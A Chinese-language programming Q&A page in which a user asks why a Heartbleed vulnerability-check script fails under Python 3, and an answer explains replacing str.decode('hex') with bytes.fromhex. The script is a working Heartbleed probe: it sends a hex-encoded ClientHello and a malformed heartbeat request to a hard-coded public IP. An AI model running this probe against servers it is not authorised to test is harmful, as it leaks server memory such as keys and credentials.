使用heartbleed python scirp解码错误

2024-03-28 16:51:39 发布

您现在位置:Python中文网/ 问答频道 /正文

我在网上查找ssl漏洞,并从SAN网上找到了一个简单的代码:

import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)

这段代码只是使用python decode以解码格式向SSL服务器发送一条Hello消息,以发现服务器是否容易受到Heartbleed漏洞的攻击。但是,当我在python 3.7中运行此代码时,它显示了一个错误,如下所示:

sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))

AttributeError: 'str' object has no attribute 'decode'

注意:请尝试使用另一个IP地址,而不是本文档中使用的IP地址


Tags: 代码importsendssldatashconnectsocket
1条回答
网友
1楼 · 发布于 2024-03-28 16:51:39

从Python 2中使用的十六进制代码中解码str值:

>>> "1803020003014000".decode('hex')
'\x18\x03\x02\x00\x03\x01@\x00'

在Python 3中,您希望使用bytes.fromhex

>>> bytes.fromhex("1803020003014000")
b'\x18\x03\x02\x00\x03\x01@\x00'

相关问题 更多 >